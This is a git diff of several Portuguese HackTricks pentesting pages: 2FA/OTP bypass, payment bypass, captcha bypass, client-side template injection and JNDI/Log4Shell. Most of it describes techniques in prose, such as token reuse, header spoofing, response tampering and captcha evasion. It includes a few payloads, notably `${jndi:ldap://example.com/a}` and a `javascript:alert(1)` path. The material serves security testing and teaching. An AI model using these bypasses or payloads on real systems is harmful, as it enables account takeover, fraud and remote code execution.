* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,5 @@
# Bypass de 2FA/MFA/OTP
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## **Técnicas Aprimoradas de Bypass de Autenticação de Dois Fatores**
### **Acesso Direto ao Endpoint**
@ -37,7 +8,7 @@ Para contornar a 2FA, acesse o endpoint subsequente diretamente, sabendo que o c
### **Reutilização de Token**
Reutilizar tokens usados anteriormente para autenticação dentro de uma conta pode ser eficaz.
Reutilizar tokens previamente usados para autenticação dentro de uma conta pode ser eficaz.
### **Utilização de Tokens Não Utilizados**
@ -57,11 +28,11 @@ Iniciar sessões tanto para a conta do usuário quanto para a conta de uma víti
### **Mecanismo de Redefinição de Senha**
Investigar a função de redefinição de senha, que faz login de um usuário na aplicação após a redefinição, para seu potencial de permitir múltiplas redefinições usando o mesmo link é crucial. Fazer login com as credenciais recém-redefinidas pode contornar a 2FA.
Investigar a função de redefinição de senha, que faz o login de um usuário na aplicação após a redefinição, para seu potencial de permitir múltiplas redefinições usando o mesmo link é crucial. Fazer login com as credenciais recém-redefinidas pode contornar a 2FA.
### **Comprometimento de Plataforma OAuth**
Comprometer a conta de um usuário em uma plataforma **OAuth** confiável (por exemplo, Google, Facebook) pode oferecer um caminho para contornar a 2FA.
Comprometer a conta de um usuário em uma plataforma **OAuth** confiável (por exemplo, Google, Facebook) pode oferecer uma rota para contornar a 2FA.
### **Ataques de Força Bruta**
@ -71,7 +42,7 @@ A falta de um limite no número de tentativas de código permite ataques de for
#### **Força Bruta Lenta**
Um ataque de força bruta lento é viável onde existem limites de taxa de fluxo sem um limite de taxa geral.
Um ataque de força bruta lento é viável onde existem limites de taxa de fluxo sem um limite geral.
#### **Redefinição do Limite de Reenvio de Código**
@ -101,11 +72,11 @@ Explorar condições de corrida para contornar a 2FA pode ser encontrado em um d
Explorar vulnerabilidades CSRF ou Clickjacking para desativar a 2FA é uma estratégia viável.
### **Explorações da Função "Lembrar-me"**
### **Explorações da Função "Lembrar de Mim"**
#### **Valores de Cookie Previsíveis**
Adivinhar o valor do cookie "lembrar-me" pode contornar restrições.
Adivinhar o valor do cookie "lembrar de mim" pode contornar restrições.
#### **Imitação de Endereço IP**
@ -115,13 +86,13 @@ Imitar o endereço IP da vítima através do cabeçalho **X-Forwarded-For** pode
#### **Subdomínios**
Testar subdomínios pode usar versões desatualizadas que não suportam 2FA ou conter implementações vulneráveis de 2FA.
Testar subdomínios pode usar versões desatualizadas que não possuem suporte a 2FA ou conter implementações vulneráveis de 2FA.
#### **Endpoints de API**
Versões mais antigas da API, indicadas por caminhos de diretório /v\*/, podem ser vulneráveis a métodos de bypass de 2FA.
### **Manipulação de Sessões Anteriores**
### **Tratamento de Sessões Anteriores**
Encerrar sessões existentes ao ativar a 2FA protege contas contra acesso não autorizado de sessões comprometidas.
@ -150,32 +121,3 @@ Caso o OTP seja criado com base em dados que o usuário já possui ou que estão
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
P
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,28 +1,20 @@
# Bypass Payment Process
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Técnicas de Bypass de Pagamento
### Interceptação de Requisições
@ -33,7 +25,7 @@ Durante o processo de transação, é crucial monitorar os dados sendo trocados
- **Callback**: Este é tipicamente usado para redirecionar o usuário após a conclusão de uma transação.
### Análise de URL
Se você encontrar um parâmetro que contém uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, isso requer uma análise mais detalhada. Aqui está uma abordagem passo a passo:
Se você encontrar um parâmetro que contém uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, isso requer uma análise mais cuidadosa. Aqui está uma abordagem passo a passo:
1. **Copie a URL**: Extraia a URL do valor do parâmetro.
2. **Inspeção em Nova Janela**: Abra a URL copiada em uma nova janela do navegador. Esta ação é crítica para entender o resultado da transação.
@ -53,23 +45,17 @@ Se você encontrar um parâmetro que contém uma URL, especialmente uma seguindo
1. **Interceptar Respostas**: Use ferramentas para interceptar e analisar as respostas do servidor. Procure por dados que possam indicar uma transação bem-sucedida ou revelar os próximos passos no processo de pagamento.
2. **Modificar Respostas**: Tente modificar as respostas antes que sejam processadas pelo navegador ou pela aplicação para simular um cenário de transação bem-sucedida.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Captcha Bypass
{% hint style="success" %}
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,14 +10,14 @@ Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Captcha Bypass
Para **burlar** o captcha durante os **testes de servidor** e automatizar funções de entrada de usuário, várias técnicas podem ser empregadas. O objetivo não é comprometer a segurança, mas agilizar o processo de teste. Aqui está uma lista abrangente de estratégias:
Para **burlar** o captcha durante **testes de servidor** e automatizar funções de entrada de usuário, várias técnicas podem ser empregadas. O objetivo não é comprometer a segurança, mas agilizar o processo de teste. Aqui está uma lista abrangente de estratégias:
1. **Manipulação de Parâmetros**:
* **Omitir o Parâmetro Captcha**: Evite enviar o parâmetro captcha. Experimente mudar o método HTTP de POST para GET ou outros verbos, e alterar o formato dos dados, como alternar entre dados de formulário e JSON.
@ -37,20 +37,18 @@ Para **burlar** o captcha durante os **testes de servidor** e automatizar funç
4. **Técnicas Adicionais**:
* **Teste de Limite de Taxa**: Verifique se a aplicação limita o número de tentativas ou envios em um determinado período e se esse limite pode ser burlado ou redefinido.
* **Serviços de Terceiros**: Utilize serviços ou APIs de resolução de captcha que oferecem reconhecimento e solução automatizados de captcha.
* **Serviços de Terceiros**: Empregue serviços ou APIs de resolução de captcha que oferecem reconhecimento e solução automatizados de captcha.
* **Rotação de Sessão e IP**: Mude frequentemente os IDs de sessão e endereços IP para evitar detecção e bloqueio pelo servidor.
* **Manipulação de User-Agent e Cabeçalhos**: Altere o User-Agent e outros cabeçalhos de solicitação para imitar diferentes navegadores ou dispositivos.
* **Análise de Captcha de Áudio**: Se uma opção de captcha de áudio estiver disponível, use serviços de conversão de fala em texto para interpretar e resolver o captcha.
## Serviços Online para resolver captchas
### [Capsolver](https://www.capsolver.com/)
## Online Services to solve captchas
O solucionador automático de captcha do Capsolver oferece uma **solução de resolução de captcha acessível e rápida**. Você pode rapidamente integrá-lo ao seu programa usando sua opção de integração simples para obter os melhores resultados em questão de segundos. Ele pode resolver reCAPTCHA V2 e V3, hCaptcha, FunCaptcha, datadome, aws captcha, imagem-para-texto, captcha da binance / coinmarketcap, geetest v3, e mais. No entanto, isso não é uma burla por si só.
{% hint style="success" %}
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -58,7 +56,7 @@ Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Resumo
É como uma [**Server Side Template Injection**](ssti-server-side-template-injection/) mas no **cliente**. O **SSTI** pode permitir que você **execute código** no servidor remoto, o **CSTI** pode permitir que você **execute código JavaScript arbitrário** no navegador da vítima.
É como uma [**Server Side Template Injection**](ssti-server-side-template-injection/) mas no **cliente**. A **SSTI** pode permitir que você **execute código** no servidor remoto, a **CSTI** pode permitir que você **execute código JavaScript arbitrário** no navegador da vítima.
**Testar** essa vulnerabilidade é muito **semelhante** ao caso de **SSTI**, o interpretador espera **um template** e o executará. Por exemplo, com um payload como `{{ 7-7 }}`, se o aplicativo for **vulnerável** você verá um `0`, e se não for, você verá o original: `{{ 7-7 }}`
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -124,7 +101,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -15,17 +15,9 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
JNDI, integrado ao Java desde o final da década de 1990, serve como um serviço de diretório, permitindo que programas Java localizem dados ou objetos por meio de um sistema de nomenclatura. Ele suporta vários serviços de diretório por meio de interfaces de provedor de serviço (SPIs), permitindo a recuperação de dados de diferentes sistemas, incluindo objetos Java remotos. SPIs comuns incluem CORBA COS, Java RMI Registry e LDAP.
JNDI, integrado ao Java desde o final da década de 1990, serve como um serviço de diretório, permitindo que programas Java localizem dados ou objetos por meio de um sistema de nomenclatura. Ele suporta vários serviços de diretório por meio de interfaces de provedor de serviço (SPIs), permitindo a recuperação de dados de diferentes sistemas, incluindo objetos Java remotos. Os SPIs comuns incluem CORBA COS, Java RMI Registry e LDAP.
### Referência de Nomenclatura JNDI
@ -40,7 +32,7 @@ No entanto, esse mecanismo pode ser explorado, levando potencialmente ao carrega
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por padrão a partir do JDK 6u141, 7u131, 8u121, bloqueando a execução de objetos Java carregados remotamente. Se definido como `true`, a execução de código remoto é possível sem a supervisão de um Gerenciador de Segurança.
* **CORBA**: Não possui uma propriedade específica, mas o Gerenciador de Segurança está sempre ativo.
No entanto, o **Gerenciador de Nomenclatura**, responsável por resolver links JNDI, não possui mecanismos de segurança integrados, permitindo potencialmente a recuperação de objetos de qualquer fonte. Isso representa um risco, pois as proteções RMI, LDAP e CORBA podem ser contornadas, levando ao carregamento de objetos Java arbitrários ou à exploração de componentes de aplicativo existentes (gadgets) para executar código malicioso.
No entanto, o **Gerenciador de Nomenclatura**, responsável por resolver links JNDI, carece de mecanismos de segurança integrados, permitindo potencialmente a recuperação de objetos de qualquer fonte. Isso representa um risco, pois as proteções RMI, LDAP e CORBA podem ser contornadas, levando ao carregamento de objetos Java arbitrários ou à exploração de componentes de aplicativo existentes (gadgets) para executar código malicioso.
Exemplos de URLs exploráveis incluem:
@ -68,13 +60,13 @@ Notavelmente, o CORBA não é inerentemente vulnerável. Garantir segurança ger
* Instalação de um **Gerenciador de Segurança**.
* Configuração do Gerenciador de Segurança para permitir conexões a codebases potencialmente maliciosas. Isso pode ser alcançado através de:
* Permissão de socket, por exemplo, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Permissões de leitura de arquivos, seja universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou para diretórios específicos onde arquivos maliciosos possam ser colocados.
* Permissões de leitura de arquivo, seja universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou para diretórios específicos onde arquivos maliciosos possam ser colocados.
No entanto, algumas políticas de fornecedores podem ser lenientes e permitir essas conexões por padrão.
### Contexto RMI
Para RMI (Remote Method Invocation), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.
Para RMI (Remote Method Invocation), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, um feito também relevante no CORBA.
### LDAP
@ -87,13 +79,13 @@ Se a busca LDAP foi invocada com **SearchControls.setReturningObjFlag() com `tru
Portanto, existem várias maneiras de atacar essas opções.\
Um **atacante pode envenenar registros LDAP introduzindo payloads** neles que serão executados nos sistemas que os coletam (muito útil para **comprometer dezenas de máquinas** se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um **ataque MitM em uma busca LDAP**, por exemplo.
Caso você consiga **fazer um aplicativo resolver uma URL JNDI LDAP**, você pode controlar o LDAP que será pesquisado, e você poderia enviar de volta o exploit (log4shell).
Caso você consiga **fazer um aplicativo resolver uma URL JNDI LDAP**, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).
#### Exploit de Deserialização
![](<../../.gitbook/assets/image (275).png>)
O **exploit é serializado** e será deserializado.\
O **exploit é serializado** e será desserializado.\
Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias classes na codebase, caso contrário, ele precisará abusar de gadgets no classpath.
#### Exploit de Referência JNDI
@ -108,7 +100,7 @@ A vulnerabilidade é introduzida no Log4j porque suporta uma [**sintaxe especial
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de Lookup `jndi`. Este recurso permite a recuperação de variáveis através do JNDI. Normalmente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a chave em si incluir um **":"**, esse prefixo padrão não é aplicado.
Com um **:** presente na chave, como em `${jndi:ldap://example.com/a}` não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.
Com um **: presente** na chave, como em `${jndi:ldap://example.com/a}`, não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E porque esta é uma biblioteca amplamente utilizada por aplicações Java para registrar informações (incluindo aplicações voltadas para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados que o desenvolvedor indicou.
@ -116,11 +108,11 @@ Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**
Esta vulnerabilidade é uma falha crítica de **deserialização não confiável** no componente `log4j-core`, afetando versões de 2.0-beta9 a 2.14.1. Permite **execução remota de código (RCE)**, permitindo que atacantes assumam o controle dos sistemas. O problema foi relatado por Chen Zhaojun da Alibaba Cloud Security Team e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 foi incompleta. Regras Sigma para defesa estão disponíveis ([Regra 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regra 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Esta vulnerabilidade é uma falha crítica de **deserialização não confiável** no componente `log4j-core`, afetando versões de 2.0-beta9 a 2.14.1. Ela permite **execução remota de código (RCE)**, permitindo que atacantes assumam o controle dos sistemas. O problema foi relatado por Chen Zhaojun da Alibaba Cloud Security Team e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 foi incompleta. Regras Sigma para defesa estão disponíveis ([Regra 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regra 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
Inicialmente classificado como baixo, mas posteriormente elevado para crítico, este CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que atacantes causem ataques DoS através de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de contorno. O problema foi resolvido nas versões 2.16.0 e 2.12.2, removendo padrões de busca de mensagens e desabilitando JNDI por padrão.
